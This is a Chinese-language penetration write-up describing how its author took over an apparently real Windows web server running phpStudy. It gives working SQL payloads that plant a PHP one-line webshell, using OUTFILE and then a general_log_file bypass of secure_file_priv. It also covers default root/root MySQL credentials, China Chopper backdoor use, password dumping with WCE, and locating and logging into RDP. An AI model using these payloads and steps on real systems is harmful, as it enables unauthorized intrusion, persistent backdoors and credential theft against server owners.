1. 程式人生 > >Mysql root賬號general_log_file方法獲取webshell

Mysql root賬號general_log_file方法獲取webshell

Mysql root賬號general_log_file方法獲取webshell
by antian365.com simeon
在前面的phpmyadmin漏洞利用專題中介紹瞭如何通過root賬號來獲取webshell,但在現實情況中,由於Mysql版本較高以及配置檔案的緣故,往往無法直接通過root賬號寫入網站真實路勁下獲取webshell;通過研究發現其實可以通過一些方法繞過,同樣可以獲取webshell,下面將整個滲透過程和方法跟大家分享。
1.資訊收集
目標站點訪問其子域名,如圖1所示,發現該站點是使用phpStudy2014搭建的,通過phpinfo資訊洩露,可以獲取網站的絕對路徑“D:/phpStudy/WWW”,伺服器為Windows Server 2003 ,phpstudy探針檔案“D:/phpStudy/WWW/l.php”。
在這裡插入圖片描述


圖1獲取網站真實路勁等資訊
2.獲取root賬號和密碼
phpStudy預設賬號為root/root,使用其進行登入,成功登入系統,如果不是這個賬號和密碼,可以使用phpmyadmin暴力破解工具進行暴力破解,如圖2所示,登入後看目前使用的資料應該是www資料庫。檢視mysql資料庫中的user表中的資料,如圖3所示,清一色的相同密碼。
在這裡插入圖片描述
圖2獲取root賬號和密碼
在這裡插入圖片描述
圖3 mysql資料庫user表多個賬號使用相同密碼
3.直接匯出webshell失敗
既然知道了網站真實路徑“D:/phpStudy/WWW”和root賬號,最簡單的方法就是直接匯出webshell:select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE ‘D:/phpStudy/WWW/cmd.php’,如圖4所示,在以往是順利成章的獲取webshell,但這次顯示錯誤資訊:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
意思是Mysql伺服器執行“–secure-file-priv”選項,所以不能執行這個語句。
在這裡插入圖片描述

圖4匯出webshell失敗
4. secure_file_priv選項
在mysql中使用secure_file_priv配置項來完成對資料匯入匯出的限制,前面的webshell匯出就是如此,在實際中常常使用語句來匯出資料表內容,例如把mydata.user表的資料匯出來:
select * from mydata.user into outfile ‘/home/mysql/user.txt’;
在mysql的官方給出了“–secure-file-priv=name Limit LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() to files within specified directory”解釋,限制匯出匯入檔案到指定目錄,其具體用法:
(1)限制mysqld不允許匯入和匯出
    mysqld --secure_file_prive=null
(2)限制mysqld的匯入和匯出只能發生在/tmp/目錄下
    mysqld --secure_file_priv=/tmp/
(3)不對mysqld 的匯入和匯出做限制,在/etc/my.cnf檔案中不指定值。
5.通過general_log和general_log_file來獲取webshell
mysql開啟general log之後,所有的查詢語句都可以在general log檔案中以可讀的方式得到,但是這樣general log檔案會非常大,所以預設都是關閉的。有的時候為了查錯等原因,還是需要暫時開啟general log的。換句話說general_log_file會記錄所有的查詢語句,以原始的狀態來顯示,如果將general_log開關開啟,general_log_file設定為一個php檔案,則查詢的操作將會全部寫入到general_log_file指定的檔案,通過訪問general_log_file指定的檔案來獲取webshell。在mysql中執行查詢:
set global general_log=‘on’;
SET global general_log_file=‘D:/phpStudy/WWW/cmd.php’;
SELECT ‘<?php assert($_POST["cmd"]);?>’;
如圖5,圖6和圖7所示,分別開啟general_log開關,設定general_log_file檔案,執行查詢。
在這裡插入圖片描述

圖5開啟general_log開關
在這裡插入圖片描述
圖6設定general_log_file檔案
在這裡插入圖片描述
圖7執行webshell查詢
6.獲取webshell
在瀏覽器中開啟地址http://******.hy******.cn/cmd.php,如圖8所示,會顯示mysql查詢的一些資訊,由於一句話後門通過查詢寫入了日誌檔案cmd.php,因此通過中國菜刀一句話後門可以成功獲取webshell,如圖9所示。
在這裡插入圖片描述
圖8檢視檔案
在這裡插入圖片描述
圖9獲取webshell
7.伺服器密碼獲取
(1)檢視伺服器許可權及使用者許可權
通過中國菜刀一句話後門管理工具,開啟遠端終端命令執行,如圖10所示,分別執行“whomai”、“net user”、“net localgroup administrator”命令來檢視當前使用者的許可權,當前系統所有使用者,管理員使用者情況。
在這裡插入圖片描述
圖10檢視當前使用者許可權
(2)上傳wce密碼獲取工具
直接執行g86.exe順利獲取管理員密碼,如圖11所示,開始執行g64.exe沒有成功是因為系統是32位作業系統。
在這裡插入圖片描述
圖11獲取管理員密碼
8.獲取遠端終端埠
通過命令 tasklist /svc | find "TermService"及netstat -ano | find “1792” 命令來獲取當前的3389埠為8369埠,tasklist /svc | find "TermService"獲取的是遠端終端服務對應的程序號,netstat -ano | find "1792"檢視程序號1792所對應的埠,在實際過程中1792值會有變化。
在這裡插入圖片描述
圖12獲取3389埠
9.登入3338
開啟mstsc,在連線地址中輸入202.58.***.***:8369,輸入獲取的管理員和密碼進行登入,如圖13所示,成功登入伺服器。
在這裡插入圖片描述
圖13登入3389
10.總結
(1)檢視genera檔案配置情況
show global variables like “%genera%”;
(2)關閉general_log
set global general_log=off;
(3)通過general_log選項來獲取webshell

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

更多攻防內容請歡迎訪問本人在csdn上面創造的個人專欄:
密碼安全攻防技術精講》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983